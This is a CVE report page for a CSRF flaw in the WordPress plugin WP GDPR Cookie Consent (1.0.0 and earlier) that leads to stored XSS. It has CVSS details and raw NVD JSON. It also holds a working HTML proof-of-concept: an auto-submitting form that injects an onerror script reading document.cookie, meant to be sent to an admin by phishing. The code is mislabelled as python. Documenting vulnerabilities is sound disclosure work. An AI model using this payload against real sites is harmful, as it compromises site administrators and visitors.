Security Vulnerability Report
中文
CVE-2025-53316 CVSS 7.1 HIGH

CVE-2025-53316

Published: 2025-11-06 16:15:56
Last Modified: 2026-04-27 18:16:21

Description

Cross-Site Request Forgery (CSRF) vulnerability in Shahjahan Jewel WP GDPR Cookie Consent wp-gdpr-cookie-consent allows Stored XSS.This issue affects WP GDPR Cookie Consent: from n/a through <= 1.0.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP GDPR Cookie Consent (wp-gdpr-cookie-consent) <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-53316 - WP GDPR Cookie Consent --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-53316</title> </head> <body> <h1>CSRF Attack PoC for WP GDPR Cookie Consent Plugin</h1> <p>This PoC demonstrates the CSRF vulnerability that leads to Stored XSS.</p> <!-- Auto-submit form to exploit CSRF and inject XSS payload --> <form action="http://target-site/wp-admin/admin-post.php" method="POST" id="exploitForm"> <input type="hidden" name="action" value="save_gdpr_settings"> <input type="hidden" name="cookie_title" value="Cookie Consent"> <input type="hidden" name="cookie_message" value="<img src=x onerror='alert("XSS by CSRF - Cookie data stolen: "+document.cookie)'>"> <input type="hidden" name="button_text" value="Accept"> <input type="hidden" name="show_again" value="1"> <input type="hidden" name="security_token" value=""> </form> <script> // Auto-submit the form without user knowledge document.getElementById('exploitForm').submit(); console.log('CSRF payload sent'); </script> <p><strong>Note:</strong> This is a proof-of-concept for security research only.</p> <p>The attacker would send the target admin this page via phishing email or malicious link.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53316", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:56.483", "lastModified": "2026-04-27T18:16:21.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Shahjahan Jewel WP GDPR Cookie Consent wp-gdpr-cookie-consent allows Stored XSS.This issue affects WP GDPR Cookie Consent: from n/a through <= 1.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-gdpr-cookie-consent/vulnerability/wordpress-wp-gdpr-cookie-consent-plugin-1-0-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}